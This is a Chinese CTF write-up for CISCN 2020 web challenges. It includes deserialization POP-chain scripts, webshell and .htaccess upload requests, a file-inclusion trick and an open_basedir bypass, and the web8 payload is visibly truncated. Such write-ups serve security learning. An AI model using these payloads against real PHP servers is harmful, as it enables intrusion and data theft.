ciscn2020华东南分区赛部分wp

web1

环境:PHP/7.3.22 nginx/1.18.0

尝试注册admin,成功,应该不是管理员

登陆后,是一个上传页面,先看源码有没有提示

1
2
3
4
5
<!--一个现在毫无意义得破烂表单-->

(文件上传)<!-- 这个功能没删,还可以用呢 -->

<!-- zip -r is useful, and don't forget /var/www/html/***********/cat.php~ -->

zip可用,尝试访问www.zip,给了源码,但是没有给上传路径,

利用sprintf漏洞找到文件上传的目录,payload

1
filename="%s info1233.jpg"   //这样第二次调用sprintf就有占位符了

文件上传目录

/var/www/html/me0w_mE0w_miA0

访问/me0w_mE0w_miA0/cat.php

给了提示

1
<!-- vim is useful too,bro -->

vim备份文件漏洞

访问.cat.php.swp

拿到cat的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
error_reporting(0);
include('../waf.php');

session_start();
/*Login check*/
if(!$_SESSION['islogin'])
{
die('Who are you?');

}else{
//class is waf~
echo "<h4 align='center'>Hello,ctfer</h4>";
echo "<h4 align='center'>But I am only a little cat......really?</h4>";
echo '<br><div align="center"><img src="../images/cat2.jpg" align="center" /></div></br>';
$a=new waf();
spl_autoload_register();

if(isset($_COOKIE["filenames"]))
{
$a->data=$_COOKIE["filenames"];
$a->upload_check();
-- INSERT -- 1,1 Top

<?php
error_reporting(0);
include('../waf.php');

session_start();
/*Login check*/
if(!$_SESSION['islogin'])
{
die('Who are you?');

}else{
//class is waf~
echo "<h4 align='center'>Hello,ctfer</h4>";
echo "<h4 align='center'>But I am only a little cat......really?</h4>";
echo '<br><div align="center"><img src="../images/cat2.jpg" align="center" /></div></br>';
$a=new waf();
spl_autoload_register();



if(isset($_COOKIE["filenames"]))
{
$a->data=$_COOKIE["filenames"];
$a->upload_check();
echo "<h3 align='center'>The Winning Formula is complete!</h3>";
$filenames=unserialize($_COOKIE["filenames"]);
}else{
$filenames='kee1ongz.meow';
file_put_contents($filenames,' Meow~meow,meow~');
}
}

?>


然后利用spl_autoload_register()自动加载类,先上传一个test.inc,然后进行反序列化

创建一个test.inc

1
2
3
4
5
6
<?php
class test{
function __wakeup(){
system('ls /');
}
}

然后传入反序列化参数 O:4:”test”:0:{}

大括号被ban了,然后用()代替{},可以绕过

payload

1
O:4:"test":0:()

test.inc

1
2
3
4
5
6
<?php
class test{
function __wakeup(){
system('ls /');
}
}

最短也可以这样写

1
2
3
4
#test.inc
<?php
system('ls /');

(就算在test.inc并没有test这个类,也会由于文件名与类名相同被自动加载进来,然后直接执行)

然后就直接cat /flag.txt就可以了

web2

是一个文件上传功能,右键查看源码,给了两个提示

1
2
<!-- composer -->
<!-- source.php -->

访问source.php

1
2
3
4
5
6
7
8
9
10
11
12
#source.php
<?php
error_reporting(0);
highlight_file(__FILE__);
if($_SERVER['REMOTE_ADDR'] === '127.0.0.1'){
$content = file_get_contents('php://filter/read=convert.base64-encode/resource=file:///var/www/html/excel.php');
file_get_contents('http://'.$_GET['ip'].'/?'.$content);
}
else{
die('only for localhost');
}
?>

一个可以读excel.php内容的功能,但是要求了remote_addr,看来要找ssrf

(后来直接给了excel.php的源码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#excel.php

<?php
error_reporting(0);
require 'vendor/autoload.php';
$r = \PhpOffice\PhpSpreadsheet\IOFactory::createReader('Xlsx');
$r->setReadDataOnly(TRUE);
$fileInfo = $_FILES["filename"];
$filePath = $fileInfo["tmp_name"];
try {
$data = $r->load($filePath)->getSheet(0)->toArray();
}
catch (Exception $e) {
die('illegal xlsx file!');
}
$s = '';
$s = $s.'<table>';
foreach($data as $a)
{
$s = $s.'<tr>';
foreach($a as $i)
{
$s = $s."<td style=\"text-align:center\"><h2>".$i."</h2></td>";
}
$s = $s.'</tr>';
}
$s = $s.'</table>';
stream_wrapper_unregister('php');
chdir('users/');
$fd = (isset($_SERVER['HTTP_X_FORWARDED_FOR'])?$_SERVER['HTTP_X_FORWARDED_FOR']:$_SERVER['REMOTE_ADDR']);
mkdir($fd);
chdir($fd);
file_put_contents('profile',$s);
$f = basename(getcwd()).'/profile';
chdir('..');
if(!stripos(file_get_contents($f),'<?') && !stripos(file_get_contents($f),'php')) {
include($f);
}
else die('no!');
?>

有个include,所以我们可以尝试包含一个包含php后门的文件

但是file_get_content会对文件内容进行过滤

这里就要用到一个关于file_get_content与include解析差异的小trick

file_get_content 遇到 文件名为data:/123.txt 的文件,会用data协议去解析

include 遇到文件名为data:/123.txt 的文件,认为data:是一个文件夹,去文件夹中找123.txt进行解析

那么怎么创造一个data:的目录呢,可以看到,它是通过

HTTP_X_FORWARDED_FOR 的值来创建目录的,所以我们让其为data: 结果发现无法创建

尝试一下 ./data: 成功了,

然后我们就可以创建一个xlsx的文件,然后随便选一格填入后门即可,如

1
<?php system('cat /flag.txt');

web4

题目给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
<?php

include 'secret.php';

class GetPass
{
public $abandon,$boring,$code;

function read()
{
ob_start();
global $hidden;
print $hidden;
}

function __destruct()
{
$abandon = $this->abandon;
$boring = $this->boring;
$code = $this->code;
$abandon->$boring();
if(!(is_object($abandon)) ||!(is_string($boring)) || !(is_string($code)))
{
ob_end_clean();
exit();
}
global $$code;
$hidden = $GLOBALS['pass'];
ob_end_clean();
}
}

class Upload
{
protected $upload_dir = "";
protected $filename = "";
protected $tmp_filename = "";

function __construct($upload_dir, $filename, $tmp_filename)
{
$this->upload_dir = $upload_dir;
$this->filename = $filename;
$this->tmp_filename = $tmp_filename;

$this->setDir();

if(!$this->checkExtension())
die("I want a pic, not a php!!");

if(!$this->checkType())
die("It doesn't look like a pic...");

if(!$this->checkSize())
die("I want a pic with a size of 1337*1337 ^_^");

if(!$this->checkContents())
die("Why would you need php in a pic...");

if(!move_uploaded_file($this->tmp_filename, $this->upload_dir.$this->filename))
die("Something seems to be wrong.");

print_r($this->upload_dir.$this->filename);
}

function setDir()
{
if(!file_exists($this->upload_dir))
mkdir($this->upload_dir);
}

function checkExtension()
{
$extension = substr($this->filename, strrpos($this->filename,".")+1);
if(preg_match("/ph/i",$extension))
return FALSE;
else
return TRUE;
}

function checkType()
{
if(!exif_imagetype($this->tmp_filename))
return FALSE;
else
return TRUE;
}

function checkSize()
{
$image_size = getimagesize($this->tmp_filename);
if ($image_size[0] !== 1337 || $image_size[1] !== 1337)
return FALSE;
else
return TRUE;
}

function checkContents()
{
if(mb_strpos(file_get_contents($this->tmp_filename), '<?') !== False)
return FALSE;
else
return TRUE;
}
}

if(isset($_GET['obj']))
{
unserialize($_GET['obj']);
}
else if(isset($_GET['pass']))
{
if($pass===$_GET['pass'])
{
if(!empty($_FILES["file"]))
{
$u=new Upload("upload/".md5($_SERVER['REMOTE_ADDR'])."/",$_FILES['file']['name'], $_FILES['file']['tmp_name']);
}
}
}
else
{
highlight_file(__FILE__);
}
?>

可以看出,有个通过obj变量进行反学列化的功能,还有个文件上传的功能,但是首先要pass正确才能使用

先想想怎么获得pass

看到一个read方法,可以直接打印变量

1
2
3
4
5
6
function read()
{
ob_start();
global $hidden;
print $hidden;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function __destruct()
{
$abandon = $this->abandon;
$boring = $this->boring;
$code = $this->code;
$abandon->$boring();
if(!(is_object($abandon)) ||!(is_string($boring)) || !(is_string($code)))
{
ob_end_clean();
exit();
}
global $$code;
$hidden = $GLOBALS['pass'];
ob_end_clean();
}

destruct中可以通过$abandon->$boring()来调用read方法

有点可惜的是调用read方法的位置在给$hidden变量赋值之前

不过在第一次destruct时,使$code= “hidden” , 然后通过global $$code的方式把$hidden变为全局变量,然后第二次调用destruct的时候,用read方式进行读取并输出。

要注意的两点

  1. ob_end_clean();

这个函数能够清空缓冲区,使原本要print出来的东西清除

if 语句中的很好绕过,直接使条件不满足即可

即$abandon是对象,$boring和$code是字符串 //注意每次都要满足

外面那个ob_end_clean可以通过global $this的方式,使程序出错,从而退出函数体

  1. 不要destruct死循环

    只要abandon是GetPass,那么就会继续调用一次abandon的destruct,然后又要求abandon的abandon是对象,如果还继续设为GetPass,那么又会destruct,如果不设为GetPass,boring一定是所设对象存在的方法,而且没有参数还能正常运行的那种,我这里找的是Upload的setDir进行终止destruct循环

于是有了这样的pop链

构造pop链脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?php
$GLOBALS['pass'] = "flag{ROIS}";
class GetPass
{
public $abandon,$boring,$code,$num;

function read()
{
//echo "this is read";
ob_start();
global $hidden;
//$hidden = $GLOBALS['pass'];
print $hidden;

}


function __destruct()
{
$abandon = $this->abandon;
$boring = $this->boring;
$code = $this->code;
$abandon->$boring();
if(!(is_object($abandon)) ||!(is_string($boring)) || !(is_string($code)))
{
ob_end_clean();
exit();
}
global $$code;
$hidden = $GLOBALS['pass'];
ob_end_clean();
}
}



class Upload
{
public $upload_dir = "aaa";
protected $filename = "";
protected $tmp_filename = "";


function setDir()
{
if(!file_exists($this->upload_dir))
mkdir($this->upload_dir);
}

function checkExtension()
{
$extension = substr($this->filename, strrpos($this->filename,".")+1);
if(preg_match("/ph/i",$extension))
return FALSE;
else
return TRUE;
}

function checkType()
{
if(!exif_imagetype($this->tmp_filename))
return FALSE;
else
return TRUE;
}

function checkSize()
{
$image_size = getimagesize($this->tmp_filename);
if ($image_size[0] !== 1337 || $image_size[1] !== 1337)
return FALSE;
else
return TRUE;
}

function checkContents()
{
if(mb_strpos(file_get_contents($this->tmp_filename), '<?') !== False)
return FALSE;
else
return TRUE;
}
}


$a = new GetPass();
$a->boring='read';
$a->code = 'hidden';

$a->abandon = new GetPass();
$a->abandon->boring = 'read';
$a->abandon->code = 'this';

$a->abandon->abandon = new GetPass();
$a->abandon->abandon->boring = 'setDir';
$a->abandon->abandon->code = 'this';

$a->abandon->abandon->abandon = new Upload();
$a->abandon->abandon->abandon->upload_dir = "bbb";
$a->abandon->abandon->abandon->code = 'this';

echo "\n".serialize($a)."\n";

然后就能得到pass

1
ob_end_clean_is_surplus

然后进行文件上传

1
2
3
4
5
6
7
if($pass===$_GET['pass'])
{
if(!empty($_FILES["file"]))
{
$u=new Upload("upload/".md5($_SERVER['REMOTE_ADDR'])."/",$_FILES['file']['name'], $_FILES['file']['tmp_name']);
}
}

过滤有

1
2
3
4
5
6
7
8
9
10
preg_match("/ph/i",$extension)

exif_imagetype($this->tmp_filename) //加gif头绕过

$image_size[0] !== 1337 || $image_size[1] !== 1337 //#define test_width 1337 #define test_height 1337 绕过

不能有<? //由于版本较高,所以<script language='php'>system('cat /flag');</script>行不通

但是可以通过 htaccess的 php_value auto_append_file 加上php伪协议来绕过

构造payload 先传个phpinfo试试

.htaccess

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /web4/?pass=ob_end_clean_is_surplus HTTP/1.1
Host: env.gufufu.top:60010
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJryNE7OPsCnRVVyk
Content-Length: 453


------WebKitFormBoundaryJryNE7OPsCnRVVyk
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/png

#define test_width 1337
#define test_height 1337

AddType application/x-httpd-php .a
php_value auto_append_file "php://filter/read=convert.base64-decode/resource=123.txt"

------WebKitFormBoundaryJryNE7OPsCnRVVyk
Content-Disposition: form-data; name="submit"


------WebKitFormBoundaryJryNE7OPsCnRVVyk--

123.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /web4/?pass=ob_end_clean_is_surplus HTTP/1.1
Host: env.gufufu.top:60010
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJryNE7OPsCnRVVyk
Content-Length: 363


------WebKitFormBoundaryJryNE7OPsCnRVVyk
Content-Disposition: form-data; name="file"; filename="123.txt"
Content-Type: image/png

#define test_width 1337
#define test_height 1337
GIF89a
aaaPD9waHAgcGhwaW5mbygpOw==

------WebKitFormBoundaryJryNE7OPsCnRVVyk
Content-Disposition: form-data; name="submit"


------WebKitFormBoundaryJryNE7OPsCnRVVyk--

333.a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /web4/?pass=ob_end_clean_is_surplus HTTP/1.1
Host: env.gufufu.top:60010
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJryNE7OPsCnRVVyk
Content-Length: 334


------WebKitFormBoundaryJryNE7OPsCnRVVyk
Content-Disposition: form-data; name="file"; filename="333.a"
Content-Type: image/png

#define test_width 1337
#define test_height 1337
GIF89a


------WebKitFormBoundaryJryNE7OPsCnRVVyk
Content-Disposition: form-data; name="submit"


------WebKitFormBoundaryJryNE7OPsCnRVVyk--

然后抄exp

1
https://github.com/mm0r1/exploits

即可拿到flag

web6

很简单的一个文件上传题,直接上传pHp后缀文件,然后上传.htaccess解析即可

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /index.php HTTP/1.1
Host: 172.20.28.106
Content-Length: 314
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.20.28.106
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYvV0AXqbztJU5FLx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.20.28.106/index.php
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Connection: close

------WebKitFormBoundaryYvV0AXqbztJU5FLx
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: text/plain

<?php system('cat /flag.txt')?>
------WebKitFormBoundaryYvV0AXqbztJU5FLx
Content-Disposition: form-data; name="name"

123123123.pHp
------WebKitFormBoundaryYvV0AXqbztJU5FLx--

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /index.php HTTP/1.1
Host: 172.20.28.106
Content-Length: 315
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.20.28.106
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKj5BeAQW7XjPLGIa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.20.28.106/index.php
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-HK;q=0.7,zh-TW;q=0.6,en-US;q=0.5
Connection: close

------WebKitFormBoundaryKj5BeAQW7XjPLGIa
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain

AddType application/x-httpd-php .pHp
------WebKitFormBoundaryKj5BeAQW7XjPLGIa
Content-Disposition: form-data; name="name"

.htaccess
------WebKitFormBoundaryKj5BeAQW7XjPLGIa--

web8

pop链:ws.php中的__destruct -> mapper.php中的__call -> mapper.php中的insert() ->调用write直接写后门

1
2
3
4
5
function __destruct() {
if (isset($this->server->events['disconnect']) &&
is_callable($func=$this->server->events['disconnect']))
$func($this);
}
1
2
3
4
5
6
7
function __call($func,$args) {
return call_user_func_array(
(array_key_exists($func,$this->props)?
$this->props[$func]:
$this->$func),$args
);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function insert() {
if ($this->id)
return $this->update();
$db=$this->db;
$now=microtime(TRUE);
while (($id=uniqid(NULL,TRUE)) &&
($data=&$db->read($this->file)) && isset($data[$id]) &&
!connection_aborted())
usleep(mt_rand(0,100));
$this->id=$id;
$pkey=['_id'=>$this->id];
if (isset($this->trigger['beforeinsert']) &&
\Base::instance()->call($this->trigger['beforeinsert'],
[$this,$pkey])===FALSE)
return $this->document;
$data[$id]=$this->document;
$db->write($this->file,$data);
$db->jot('('.sprintf('%.1f',1e3*(microtime(TRUE)-$now)).'ms) '.
$this->file.' [insert] '.json_encode($this->document));
if (isset($this->trigger['afterinsert']))
\Base::instance()->call($this->trigger['afterinsert'],
[$this,$pkey]);
$this->load(['@_id=?',$this->id]);
return $this->document;
}

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php

?>';

function __construct($db)
{
$this->db = $db;
}
}
}

namespace DB {
class Jig
{
protected $format = 0;
protected $dir = './';
}
}

namespace CLI {
class Agent
{
protected $server;

function __construct($server)
{
$this->server = $server;
}
}

class WS
{
protected $events;

function __construct($events)
{
$this->events = $events;
}
}
}

namespace {
class F3
{
public $events;

function __construct($events)
{
$this->events = $events;
}
}

$a = new DB\Jig();
$b = new DB\Jig\Mapper($a);
$c = new F3(array('disconnect' => array($b, "insert")));
$d = new CLI\Agent($c);
$e = new CLI\WS($d);
echo urlencode(serialize($e));

}

上传shell以后,因为有disable_functions,所以不能直接system()。但是发现没有禁用ini_set和chdir.可以拿来绕过open_basedir。

exp:

1
<?mkdir('m1n');chdir('m1n');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag.txt');?>

直接拿到flag


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!